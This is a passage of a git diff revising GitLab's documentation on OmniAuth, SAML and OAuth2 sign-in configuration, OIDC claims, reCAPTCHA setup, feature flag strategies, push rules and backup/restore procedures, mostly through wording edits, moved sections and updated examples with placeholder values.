- id_path: ['sub'],
- attributes: {
- email: 'email',
- name: 'name'
- }
- },
- authorize_params: {
- scope: 'openid profile email'
- },
- strategy_class: "OmniAuth::Strategies::OAuth2Generic"
- }
+ site: "<your_auth_server_url>",
+ user_info_url: "/oauth2/v1/userinfo",
+ authorize_url: "/oauth2/v1/authorize",
+ token_url: "/oauth2/v1/token"
+ },
+ user_response_structure: {
+ root_path: [],
+ id_path: ["sub"],
+ attributes: {
+ email: "email",
+ name: "name"
+ }
+ },
+ authorize_params: {
+ scope: "openid profile email"
+ },
+ strategy_class: "OmniAuth::Strategies::OAuth2Generic"
}
}
]
@@ -92,11 +101,13 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc
For more information about these settings, see [the gem's README](https://gitlab.com/satorix/omniauth-oauth2-generic#gitlab-config-example).
-1. Save the configuration file
+1. Save the configuration file.
-1. Restart GitLab for the changes to take effect
+1. [Restart](../administration/restart_gitlab.md#installations-from-source)
+ GitLab for the changes to take effect.
-On the sign in page there should now be a new button below the regular sign in form.
-Click the button to begin your provider's authentication process. This directs
-the browser to your OAuth2 Provider's authentication page. If everything goes well
-the user is returned to your GitLab instance and is signed in.
+On the sign-in page there should now be a new button below the regular sign-in
+form. Select the button to begin your provider's authentication process. This
+directs the browser to your OAuth2 provider's authentication page. If
+everything goes well, you are returned to your GitLab instance and are
+signed in.
diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md
index 5e96a1e7c65..dd51d823109 100644
--- a/doc/integration/omniauth.md
+++ b/doc/integration/omniauth.md
@@ -10,6 +10,8 @@ Users can sign in to GitLab by using their credentials from Twitter, GitHub, and
[OmniAuth](https://rubygems.org/gems/omniauth/) is the Rack
framework that GitLab uses to provide this authentication.
+![OmniAuth providers on sign-in page](img/omniauth_providers_v_14_6.png)
+
If you configure OmniAuth, users can continue to sign in using other
mechanisms, including standard GitLab authentication or LDAP (if configured).
@@ -28,7 +30,7 @@ GitLab supports the following OmniAuth providers.
| [Azure v1](azure.md) | `azure_oauth2` |
| [Bitbucket Cloud](bitbucket.md) | `bitbucket` |
| [CAS](cas.md) | `cas3` |
-| [DingTalk](ding_talk.md) | `ding_talk` |
+| [DingTalk](ding_talk.md) | `dingtalk` |
| [Facebook](facebook.md) | `facebook` |
| [Generic OAuth 2.0](oauth2_generic.md) | `oauth2_generic` |
| [GitHub](github.md) | `github` |
@@ -113,6 +115,12 @@ To change these settings:
After configuring these settings, you can configure
your chosen [provider](#supported-providers).
+### Passwords for users created via OmniAuth
+
+The [Generated passwords for users created through integrated authentication](../security/passwords_for_integrated_authentication_methods.md)
+guide provides an overview about how GitLab generates and sets passwords for
+users created with OmniAuth.
+
## Enable OmniAuth for an existing user
If you're an existing user, after your GitLab account is
@@ -129,6 +137,41 @@ provider like Twitter.
You can now use your chosen OmniAuth provider to sign in to GitLab.
+## Enable or disable sign-in with an OmniAuth provider without disabling import sources
+
+Administrators can enable or disable sign-in for some OmniAuth providers.
+
+NOTE:
+By default, sign-in is enabled for all the OAuth providers configured in `config/gitlab.yml`.
+
+To enable or disable an OmniAuth provider:
+
+1. On the top bar, select **Menu > Admin**.
+1. On the left sidebar, select **Settings**.
+1. Expand **Sign-in restrictions**.
+1. In the **Enabled OAuth authentication sources** section, select or clear the checkbox for each provider you want to enable or disable.
+
+## Disable OmniAuth
+
+In GitLab 11.4 and later, OmniAuth is enabled by default. However, OmniAuth only works
+if providers are configured and [enabled](#enable-or-disable-sign-in-with-an-omniauth-provider-without-disabling-import-sources).
+
+If OmniAuth providers are causing problems even when individually disabled, you
+can disable the entire OmniAuth subsystem by modifying the configuration file:
+
+- **For Omnibus installations**
+
+ ```ruby
+ gitlab_rails['omniauth_enabled'] = false
+ ```
+
+- **For installations from source**
+
+ ```yaml
+ omniauth:
+ enabled: false
+ ```
+
## Link existing users to OmniAuth users
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36664) in GitLab 13.4.
@@ -228,41 +271,6 @@ let us know.
We can't officially support every possible authentication mechanism available,
but we'd like to at least help those with specific needs.
-## Enable or disable sign-in with an OmniAuth provider without disabling import sources
-
-Administrators can enable or disable sign-in for some OmniAuth providers.
-
-NOTE:
-By default, sign-in is enabled for all the OAuth providers configured in `config/gitlab.yml`.
-
-To enable or disable an OmniAuth provider:
-
-1. On the top bar, select **Menu > Admin**.
-1. On the left sidebar, select **Settings**.
-1. Expand **Sign-in restrictions**.
-1. In the **Enabled OAuth authentication sources** section, select or clear the checkbox for each provider you want to enable or disable.
-
-## Disable OmniAuth
-
-In GitLab 11.4 and later, OmniAuth is enabled by default. However, OmniAuth only works
-if providers are configured and [enabled](#enable-or-disable-sign-in-with-an-omniauth-provider-without-disabling-import-sources).
-
-If OmniAuth providers are causing problems even when individually disabled, you
-can disable the entire OmniAuth subsystem by modifying the configuration file:
-
-- **For Omnibus installations**
-
- ```ruby
- gitlab_rails['omniauth_enabled'] = false
- ```
-
-- **For installations from source**:
-
- ```yaml
- omniauth:
- enabled: false
- ```
-
## Keep OmniAuth user profiles up to date
You can enable profile syncing from selected OmniAuth providers. You can sync
@@ -344,12 +352,6 @@ one of the OmniAuth users is an administrator.
You can also bypass automatic sign-in by browsing to
`https://gitlab.example.com/users/sign_in?auto_sign_in=false`.
-## Passwords for users created via OmniAuth
-
-The [Generated passwords for users created through integrated authentication](../security/passwords_for_integrated_authentication_methods.md)
-guide provides an overview about how GitLab generates and sets passwords for
-users created with OmniAuth.
-
## Use a custom OmniAuth provider icon
Most supported providers include a built-in icon for the rendered sign-in button.
@@ -359,7 +361,7 @@ then override the icon in one of two ways:
- **Provide a custom image path**:
- 1. *If you are hosting the image outside of your GitLab server domain,* ensure
+ 1. If you are hosting the image outside of your GitLab server domain, ensure
your [content security policies](https://docs.gitlab.com/omnibus/settings/configuration.html#content-security-policy)
are configured to allow access to the image file.
1. Depending on your method of installing GitLab, add a custom `icon` parameter
diff --git a/doc/integration/openid_connect_provider.md b/doc/integration/openid_connect_provider.md
index dd65fb4822a..54d4a5b6bb7 100644
--- a/doc/integration/openid_connect_provider.md
+++ b/doc/integration/openid_connect_provider.md
@@ -33,6 +33,14 @@ Refer to the [OAuth guide](oauth_provider.md) for basic information on how to se
applications in GitLab. To enable OIDC for an application, all you have to do
is select the `openid` scope in the application settings.
+## Settings discovery
+
+If your client allows importing OIDC settings from a discovery URL, you can use the following URL to automatically find the correct settings:
+
+```plaintext
+https://gitlab.example.com/.well-known/openid-configuration
+```
+
## Shared information
The following user information is shared with clients:
@@ -51,5 +59,8 @@ The following user information is shared with clients:
| `picture` | `string` | URL for the user's GitLab avatar
| `groups` | `array` | Paths for the groups the user is a member of, either directly or through an ancestor group.
| `groups_direct` | `array` | Paths for the groups the user is a direct member of.
+| `https://gitlab.org/claims/groups/owner` | `array` | Names of the groups the user is a direct member of with Owner role
+| `https://gitlab.org/claims/groups/maintainer` | `array` | Names of the groups the user is a direct member of with Maintainer role
+| `https://gitlab.org/claims/groups/developer` | `array` | Names of the groups the user is a direct member of with Developer role
The claims `sub`, `sub_legacy`, `email`, `email_verified` and `groups_direct` are included in the ID token. All other claims are available from the `/oauth/userinfo` endpoint used by OIDC clients.
diff --git a/doc/integration/recaptcha.md b/doc/integration/recaptcha.md
index 60e2d70ce32..4963dea19a4 100644
--- a/doc/integration/recaptcha.md
+++ b/doc/integration/recaptcha.md
@@ -12,20 +12,21 @@ to confirm that a real user, not a bot, is attempting to create an account.
## Configuration
-To use reCAPTCHA, first you must create a site and private key.
+To use reCAPTCHA, first create a site and private key.
1. Go to the [Google reCAPTCHA page](https://www.google.com/recaptcha/admin).
-1. Fill out the form necessary to obtain reCAPTCHA v2 keys.
-1. Log in to your GitLab server, with administrator credentials.
-1. Go to Reporting Applications Settings in the Admin Area (`admin/application_settings/reporting`).
-1. Expand the **Spam and Anti-bot Protection** section.
-1. Fill all reCAPTCHA fields with keys from previous steps.
+1. To get reCAPTCHA v2 keys, fill in the form and select **Submit**.
+1. Sign in to your GitLab server as an administrator.
+1. On the top bar, select **Menu > Admin**.
+1. On the left sidebar, select **Settings > Reporting** (`admin/application_settings/reporting`).
+1. Expand **Spam and Anti-bot Protection**.
+1. In the reCAPTCHA fields, enter the keys you obtained in the previous steps.
1. Select the **Enable reCAPTCHA** checkbox.
1. To enable reCAPTCHA for logins via password, select the **Enable reCAPTCHA for login** checkbox.
-1. Save the configuration.
-1. Change the first line of the `#execute` method in `app/services/spam/spam_verdict_service.rb`
- to `return CONDITIONAL_ALLOW` so that the spam check short-circuits and triggers the response to
- return `recaptcha_html`.
+1. Select **Save changes**.
+1. To short-circuit the spam check and trigger the response to return `recaptcha_html`:
+ 1. Open `app/services/spam/spam_verdict_service.rb`.
+ 1. Change the first line of the `#execute` method to `return CONDITIONAL_ALLOW`.
NOTE:
Make sure you are viewing an issuable in a project that is public. If you're working with an issue, the issue is public.
diff --git a/doc/integration/salesforce.md b/doc/integration/salesforce.md
index 68daced3521..ebd936424d3 100644
--- a/doc/integration/salesforce.md
+++ b/doc/integration/salesforce.md
@@ -57,9 +57,10 @@ To get the credentials (a pair of Client ID and Client Secret), you must [create
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "salesforce",
- "app_id" => "SALESFORCE_CLIENT_ID",
- "app_secret" => "SALESFORCE_CLIENT_SECRET"
+ name: "salesforce",
+ # label: "Provider name", # optional label for login button, defaults to "Salesforce"
+ app_id: "SALESFORCE_CLIENT_ID",
+ app_secret: "SALESFORCE_CLIENT_SECRET"
}
]
```
@@ -68,6 +69,7 @@ To get the credentials (a pair of Client ID and Client Secret), you must [create
```yaml
- { name: 'salesforce',
+ # label: 'Provider name', # optional label for login button, defaults to "Salesforce"
app_id: 'SALESFORCE_CLIENT_ID',
app_secret: 'SALESFORCE_CLIENT_SECRET'
}
diff --git a/doc/integration/saml.md b/doc/integration/saml.md
index 47a35cf21a8..70d6932b9eb 100644
--- a/doc/integration/saml.md
+++ b/doc/integration/saml.md
@@ -98,15 +98,15 @@ as described in the section on [Security](#security). Otherwise, your users are
```ruby
gitlab_rails['omniauth_providers'] = [
{
- name: 'saml',
+ name: "saml",
+ label: "Provider name", # optional label for login button, defaults to "Saml"
args: {
- assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback',
- idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8',
- idp_sso_target_url: 'https://login.example.com/idp',
- issuer: 'https://gitlab.example.com',
- name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent'
- },
- label: 'Provider name' # optional label for SAML login button, defaults to "Saml"
+ assertion_consumer_service_url: "https://gitlab.example.com/users/auth/saml/callback",
+ idp_cert_fingerprint: "43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8",
+ idp_sso_target_url: "https://login.example.com/idp",
+ issuer: "https://gitlab.example.com",
+ name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"
+ }
}
]
```
@@ -118,14 +118,14 @@ as described in the section on [Security](#security). Otherwise, your users are
providers:
- {
name: 'saml',
+ label: 'Provider name', # optional label for login button, defaults to "Saml"
args: {
assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback',
idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8',
idp_sso_target_url: 'https://login.example.com/idp',
issuer: 'https://gitlab.example.com',
name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent'
- },
- label: 'Company Login' # optional label for SAML login button, defaults to "Saml"
+ }
}
```
@@ -163,6 +163,74 @@ On the sign in page there should now be a SAML button below the regular sign in
Click the icon to begin the authentication process. If everything goes well the user
is returned to GitLab and signed in.
+### Use multiple SAML identity providers
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14361) in GitLab 14.6.
+
+You can configure GitLab to use multiple SAML identity providers if:
+
+- Each provider has a unique name set that matches a name set in `args`.
+- The providers' names are:
+ - Used in OmniAuth configuration for properties based on the provider name. For example, `allowBypassTwoFactor`, `allowSingleSignOn`, and
+ `syncProfileFromProvider`.
+ - Used for association to each existing user as an additional identity.
+- The `assertion_consumer_service_url` matches the provider name.
+- The `strategy_class` is explicitly set because it cannot be inferred from provider name.
+
+Example multiple providers configuration for Omnibus GitLab:
+
+```ruby
+gitlab_rails['omniauth_providers'] = [
+ {
+ name: 'saml_1',
+ args: {
+ name: 'saml_1', # This is mandatory and must match the provider name
+ strategy_class: 'OmniAuth::Strategies::SAML'
+ assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_1/callback', # URL must match the name of the provider
+ ... # Put here all the required arguments similar to a single provider
+ },
+ label: 'Provider 1' # Differentiate the two buttons and providers in the UI
+ },
+ {
+ name: 'saml_2',
+ args: {
+ name: 'saml_2', # This is mandatory and must match the provider name
+ strategy_class: 'OmniAuth::Strategies::SAML'
+ assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_2/callback', # URL must match the name of the provider
+ ... # Put here all the required arguments similar to a single provider
+ },
+ label: 'Provider 2' # Differentiate the two buttons and providers in the UI
+ }
+]
+```
+
+Example providers configuration for installations from source:
+
+```yaml
+omniauth:
+ providers:
+ - {
+ name: 'saml_1',
+ args: {
+ name: 'saml_1', # This is mandatory and must match the provider name
+ strategy_class: 'OmniAuth::Strategies::SAML',
+ assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_1/callback', # URL must match the name of the provider
+ ... # Put here all the required arguments similar to a single provider
+ },
+ label: 'Provider 1' # Differentiate the two buttons and providers in the UI
+ }
+ - {
+ name: 'saml_2',
+ args: {
+ name: 'saml_2', # This is mandatory and must match the provider name
+ strategy_class: 'OmniAuth::Strategies::SAML',
+ assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_2/callback', # URL must match the name of the provider
+ ... # Put here all the required arguments similar to a single provider
+ },
+ label: 'Provider 2' # Differentiate the two buttons and providers in the UI
+ }
+```
+
### Notes on configuring your identity provider
When configuring a SAML app on the IdP, you need at least:
@@ -362,22 +430,21 @@ In addition to the changes in GitLab, make sure that your IdP is returning the
```ruby
gitlab_rails['omniauth_providers'] = [
{
- name: 'saml',
+ name: "saml",
args: {
- assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback',
- idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8',
- idp_sso_target_url: 'https://login.example.com/idp',
- issuer: 'https://gitlab.example.com',
- name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent',
- upstream_two_factor_authn_contexts:
- %w(
- urn:oasis:names:tc:SAML:2.0:ac:classes:CertificateProtectedTransport
- urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorOTPSMS
- urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorIGTOKEN
- )
-
- },
- label: 'Company Login' # optional label for SAML login button, defaults to "Saml"
+ assertion_consumer_service_url: "https://gitlab.example.com/users/auth/saml/callback",
+ idp_cert_fingerprint: "43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8",
+ idp_sso_target_url: "https://login.example.com/idp",
+ issuer: "https://gitlab.example.com",
+ name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent",
+ upstream_two_factor_authn_contexts:
+ %w(
+ urn:oasis:names:tc:SAML:2.0:ac:classes:CertificateProtectedTransport
+ urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorOTPSMS
+ urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorIGTOKEN
+ )
+ },
+ label: "Company Login" # optional label for SAML login button, defaults to "Saml"
}
]
```
diff --git a/doc/integration/twitter.md b/doc/integration/twitter.md
index 50ef04681f0..e1f67df76c3 100644
--- a/doc/integration/twitter.md
+++ b/doc/integration/twitter.md
@@ -62,9 +62,10 @@ Twitter. Twitter generates a client ID and secret key for you to use.
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "twitter",
- "app_id" => "YOUR_APP_ID",
- "app_secret" => "YOUR_APP_SECRET"
+ name: "twitter",
+ # label: "Provider name", # optional label for login button, defaults to "Twitter"
+ app_id: "YOUR_APP_ID",
+ app_secret: "YOUR_APP_SECRET"
}
]
```
@@ -73,6 +74,7 @@ Twitter. Twitter generates a client ID and secret key for you to use.
```yaml
- { name: 'twitter',
+ # label: 'Provider name', # optional label for login button, defaults to "Twitter"
app_id: 'YOUR_APP_ID',
app_secret: 'YOUR_APP_SECRET' }
```
diff --git a/doc/integration/vault.md b/doc/integration/vault.md
index 3bca3767785..9e738f8493d 100644
--- a/doc/integration/vault.md
+++ b/doc/integration/vault.md
@@ -1,6 +1,6 @@
---
-stage: Release
-group: Release
+stage: Configure
+group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/intro/index.md b/doc/intro/index.md
deleted file mode 100644
index af50726e30c..00000000000
--- a/doc/intro/index.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../topics/use_gitlab.md'
-remove_date: '2021-12-08'
----
-
-This document was moved to [another location](../topics/use_gitlab.md).
-
-<!-- This redirect file can be deleted after <2021-12-08>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html -->
diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md
index 70e3115a98e..68a0d492c5d 100644
--- a/doc/operations/error_tracking.md
+++ b/doc/operations/error_tracking.md
@@ -34,7 +34,7 @@ For error tracking to work, you need two pieces:
### Deploying Sentry
-You can sign up to the cloud hosted [Sentry](https://sentry.io), deploy your own [on-premise instance](https://github.com/getsentry/onpremise/), or use GitLab to [install Sentry to a Kubernetes cluster](../user/clusters/applications.md#install-sentry-using-gitlab-cicd). To make this easier, we are [considering shipping Sentry with GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5343).
+You can sign up to the cloud hosted [Sentry](https://sentry.io), deploy your own [on-premise instance](https://github.com/getsentry/onpremise/), or use GitLab to [install Sentry to a Kubernetes cluster](../user/clusters/applications.md#install-sentry-using-gitlab-cicd).
### Enabling Sentry
diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md
index 2ef193b0f5d..49898d2e904 100644
--- a/doc/operations/feature_flags.md
+++ b/doc/operations/feature_flags.md
@@ -81,7 +81,7 @@ You can apply a feature flag strategy across multiple environments, without defi
the strategy multiple times.
GitLab Feature Flags use [Unleash](https://docs.getunleash.io/) as the feature flag
-engine. In Unleash, there are [strategies](https://docs.getunleash.io/activation_strategy/)
+engine. In Unleash, there are [strategies](https://docs.getunleash.io/user_guide/activation_strategy)
for granular feature flag controls. GitLab Feature Flags can have multiple strategies,
and the supported strategies are:
@@ -96,8 +96,7 @@ and selecting **Edit** (**{pencil}**).
### All users
-Enables the feature for all users. It uses the [`default`](https://docs.getunleash.io/activation_strategy/#default)
-Unleash activation strategy.
+Enables the feature for all users. It uses the Standard (`default`) Unleash activation [strategy](https://docs.getunleash.io/user_guide/activation_strategy#standard).
### Percent Rollout
@@ -105,8 +104,7 @@ Unleash activation strategy.
Enables the feature for a percentage of page views, with configurable consistency
of behavior. This consistency is also known as stickiness. It uses the
-[`flexibleRollout`](https://docs.getunleash.io/activation_strategy/#flexiblerollout)
-Unleash activation strategy.
+Gradual Rollout (`flexibleRollout`) Unleash activation [strategy](https://docs.getunleash.io/user_guide/activation_strategy#gradual-rollout).
You can configure the consistency to be based on:
@@ -134,7 +132,7 @@ Selecting **Random** provides inconsistent application behavior for individual u
### Percent of Users
Enables the feature for a percentage of authenticated users. It uses the Unleash activation strategy
-[`gradualRolloutUserId`](https://docs.getunleash.io/activation_strategy/#gradualrolloutuserid).
+[`gradualRolloutUserId`](https://docs.getunleash.io/user_guide/activation_strategy#gradual-rollout).
For example, set a value of 15% to enable the feature for 15% of authenticated users.
@@ -156,8 +154,7 @@ ID for the feature to be enabled. See the [Ruby example](#ruby-application-examp
> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/34363) to be defined per environment in GitLab 12.6.
Enables the feature for a list of target users. It is implemented
-using the Unleash [`userWithId`](https://docs.getunleash.io/activation_strategy/#userwithid)
-activation strategy.
+using the Unleash UserIDs (`userWithId`) activation [strategy](https://docs.getunleash.io/user_guide/activation_strategy#userids).
Enter user IDs as a comma-separated list of values (for example,
`user@example.com, user2@example.com`, or `username1,username2,username3`, and so on). Note that
@@ -187,8 +184,7 @@ To search for code references of a feature flag:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35930) in GitLab 13.1.
Enables the feature for lists of users created [in the Feature Flags UI](#create-a-user-list), or with the [Feature Flag User List API](../api/feature_flag_user_lists.md).
-Similar to [User IDs](#user-ids), it uses the Unleash [`userWithId`](https://docs.getunleash.io/activation_strategy/#userwithid)
-activation strategy.
+Similar to [User IDs](#user-ids), it uses the Unleash UsersIDs (`userWithId`) activation [strategy](https://docs.getunleash.io/user_guide/activation_strategy#userids).
It's not possible to *disable* a feature for members of a user list, but you can achieve the same
effect by enabling a feature for a user list that doesn't contain the excluded users.
diff --git a/doc/operations/incident_management/integrations.md b/doc/operations/incident_management/integrations.md
index 92f5a50b1c3..a8b455e05a0 100644
--- a/doc/operations/incident_management/integrations.md
+++ b/doc/operations/incident_management/integrations.md
@@ -65,11 +65,11 @@ and you can [customize the payload](#customize-the-alert-payload-outside-of-gitl
1. Toggle the **Active** alert setting. The **URL** and **Authorization Key** for the webhook
configuration are available in the **View credentials** tab after you save the integration.
You must also input the URL and Authorization Key in your external service.
- 1. _(Optional)_ To map fields from your monitoring tool's alert to GitLab fields, enter a sample
+ 1. Optional. To map fields from your monitoring tool's alert to GitLab fields, enter a sample
payload and click **Parse payload for custom mapping**. Valid JSON is required. If you update
a sample payload, you must also remap the fields.
- 1. _(Optional)_ If you provided a valid sample payload, select each value in
+ 1. Optional. If you provided a valid sample payload, select each value in
**Payload alert key** to [map to a **GitLab alert key**](#map-fields-in-custom-alerts).
1. To save your integration, click **Save Integration**. If desired, you can send a test alert
from your integration's **Send test alert** tab after the integration is created.
@@ -173,7 +173,7 @@ curl --request POST \
The authorization key can be used as the `password`. The `username` is left blank:
- username: `<blank>`
-- pasword: authorization_key
+- password: authorization_key
```shell
curl --request POST \
diff --git a/doc/operations/metrics/dashboards/yaml_number_format.md b/doc/operations/metrics/dashboards/yaml_number_format.md
index 3b6e10e647e..ce9e359a587 100644
--- a/doc/operations/metrics/dashboards/yaml_number_format.md
+++ b/doc/operations/metrics/dashboards/yaml_number_format.md
@@ -15,7 +15,7 @@ You can select units to format your charts by adding `format` to your
## Internationalization and localization
-Currently, your [internationalization and localization options](https://en.wikipedia.org/wiki/Internationalization_and_localization) for number formatting are dependent on the system you are using i.e. your OS or browser.
+Currently, your [internationalization and localization options](https://en.wikipedia.org/wiki/Internationalization_and_localization) for number formatting are dependent on the system you are using (that is, your OS or browser).
## Engineering Notation
diff --git a/doc/policy/maintenance.md b/doc/policy/maintenance.md
index 399ef40cb40..f05eaa677c1 100644
--- a/doc/policy/maintenance.md
+++ b/doc/policy/maintenance.md
@@ -48,20 +48,9 @@ To make sure you can easily run the most recent stable release, we are working
hard to keep the update process simple and reliable.
If you are unable to follow our monthly release cycle, there are a couple of
-cases you need to consider.
-
-It is considered safe to jump between patch versions and minor versions within
-one major version. For example, it is safe to:
-
-- Upgrade the *minor* version. For example:
-
- - `13.7.5` -> `13.10.5`
- - `12.3.4` -> `12.10.11`
-
-- Upgrade the *patch* version. For example:
-
- - `13.0.4` -> `13.0.12`
- - `12.10.1` -> `12.10.8`
+cases you need to consider. Follow the
+[upgrade paths guide](../update/index.md#upgrade-paths) to safely upgrade
+between versions.
NOTE:
Version specific changes in Omnibus GitLab Linux packages can be found in [the Omnibus GitLab documentation](../update/package/index.md#version-specific-changes).
diff --git a/doc/push_rules/push_rules.md b/doc/push_rules/push_rules.md
index 37aeb335825..425275a0370 100644
--- a/doc/push_rules/push_rules.md
+++ b/doc/push_rules/push_rules.md
@@ -14,6 +14,10 @@ GitLab already offers [protected branches](../user/project/protected_branches.md
cases when you need some specific rules. Some common scenarios: preventing Git tag removal, or
enforcing a special format for commit messages.
+INFO:
+Get access to push rules and more with a
+[free 30-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=p-push-rules-docs).
+
Push rules are [pre-receive Git hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) you
can enable in a user-friendly interface. They are defined either:
@@ -103,19 +107,19 @@ The following options are available:
| Push rule | Description |
|---------------------------------|-------------|
| Removal of tags with `git push` | Forbid users to remove Git tags with `git push`. Tags can be deleted through the web UI. |
-| Check whether the commit author is a GitLab user | Restrict commits to existing GitLab users (checked against their emails). |
-| Reject unverified users | GitLab rejects any commit that was not committed by an authenticated user. |
+| Check whether the commit author is a GitLab user | Restrict commits to existing GitLab users (checked against their emails). <sup>1</sup> |
+| Reject unverified users | GitLab rejects any commit that was not committed by the same user as the user who pushed it, or where the committer's email address is not [confirmed](../security/user_email_confirmation.md). |
| Check whether commit is signed through GPG | Reject commit when it is not signed through GPG. Read [signing commits with GPG](../user/project/repository/gpg_signed_commits/index.md). |
| Prevent pushing secret files | GitLab rejects any files that are likely to contain secrets. See the [forbidden file names](#prevent-pushing-secrets-to-the-repository). |
-| Require expression in commit messages | Only commit messages that match this regular expression are allowed to be pushed. Leave empty to allow any commit message. Uses multiline mode, which can be disabled using `(?-m)`. |
-| Reject expression in commit messages | Only commit messages that do not match this regular expression are allowed to be pushed. Leave empty to allow any commit message. Uses multiline mode, which can be disabled using `(?-m)`. |
-| Restrict by branch name | Only branch names that match this regular expression are allowed to be pushed. Leave empty to allow all branch names. |
-| Restrict by commit author's email | Only commit author's email that match this regular expression are allowed to be pushed. Leave empty to allow any email. |
-| Prohibited file names | Any committed filenames that match this regular expression and do not already exist in the repository are not allowed to be pushed. Leave empty to allow any filenames. See [common examples](#prohibited-file-names). |
+| Require expression in commit messages | Only commit messages that match this regular expression are allowed to be pushed. <sup>2</sup> Leave empty to allow any commit message. Uses multiline mode, which can be disabled using `(?-m)`. |
+| Reject expression in commit messages | Only commit messages that do not match this regular expression are allowed to be pushed. <sup>2</sup> Leave empty to allow any commit message. Uses multiline mode, which can be disabled using `(?-m)`. |
+| Restrict by branch name | Only branch names that match this regular expression are allowed to be pushed. <sup>2</sup> Leave empty to allow all branch names. |
+| Restrict by commit author's email | Only commit author's email that match this regular expression are allowed to be pushed. <sup>1</sup> <sup>2</sup> Leave empty to allow any email. |
+| Prohibited file names | Any committed filenames that match this regular expression and do not already exist in the repository are not allowed to be pushed. <sup>2</sup> Leave empty to allow any filenames. See [common examples](#prohibited-file-names). |
| Maximum file size | Pushes that contain added or updated files that exceed this file size (in MB) are rejected. Set to 0 to allow files of any size. Files tracked by Git LFS are exempted. |
-NOTE:
-GitLab uses [RE2 syntax](https://github.com/google/re2/wiki/Syntax) for regular expressions in push rules, and you can test them at the [regex101 regex tester](https://regex101.com/).
+1. Checks both the commit author and committer.
+1. GitLab uses [RE2 syntax](https://github.com/google/re2/wiki/Syntax) for regular expressions in push rules, and you can test them at the [regex101 regex tester](https://regex101.com/).
### Caveat to "Reject unsigned commits" push rule
diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md
index cd541e7827f..676cc529c98 100644
--- a/doc/raketasks/backup_restore.md
+++ b/doc/raketasks/backup_restore.md
@@ -13,7 +13,7 @@ all repositories and all attachments.
You can only restore a backup to **exactly the same version and type (CE/EE)**
of GitLab on which it was created. The best way to migrate your repositories
-from one server to another is through backup restore.
+from one server to another is through a backup and restore.
WARNING:
GitLab doesn't back up items that aren't stored in the file system. If you're
@@ -70,7 +70,7 @@ Backups do not include:
- [Mattermost data](https://docs.mattermost.com/administration/config-settings.html#file-storage)
WARNING:
-GitLab does not back up any configuration files, SSL certificates, or system
+GitLab does not back up any configuration files (`/etc/gitlab`), TLS keys and certificates, or system
files. You are highly advised to read about [storing configuration files](#storing-configuration-files).
WARNING:
@@ -190,8 +190,9 @@ on a Kubernetes cluster, you must follow the
[Back up the secrets](https://docs.gitlab.com/charts/backup-restore/backup.html#backup-the-secrets)
instructions.
-You may also want to back up any TLS keys and certificates, and your
-[SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079).
+You may also want to back up any TLS keys and certificates (`/etc/gitlab/ssl`, `/etc/gitlab/trusted-certs`), and your
+[SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079)
+to avoid man-in-the-middle attack warnings if you have to perform a full machine restore.
If you use Omnibus GitLab, review additional information to
[backup your configuration](https://docs.gitlab.com/omnibus/settings/backups.html).
@@ -903,7 +904,9 @@ If you fail to restore this encryption key file along with the application data
backup, users with two-factor authentication enabled and GitLab Runner
loses access to your GitLab server.
-You may also want to restore any TLS keys, certificates, or
+You may also want to restore your previous `/etc/gitlab/gitlab.rb` (for Omnibus packages)
+or `/home/git/gitlab/config/gitlab.yml` (for installations from source) and
+any TLS keys, certificates (`/etc/gitlab/ssl`, `/etc/gitlab/trusted-certs`), or
[SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079).
Starting with GitLab 12.9, if an untarred backup (like the ones made with
@@ -1419,6 +1422,13 @@ after which users must reactivate 2FA.
DELETE FROM ci_variables;
```
+1. If you know the specific group or project from which you wish to delete variables, you can include a `WHERE` statement to specify that in your `DELETE`:
+
+ ```sql
+ DELETE FROM ci_group_variables WHERE group_id = <GROUPID>;
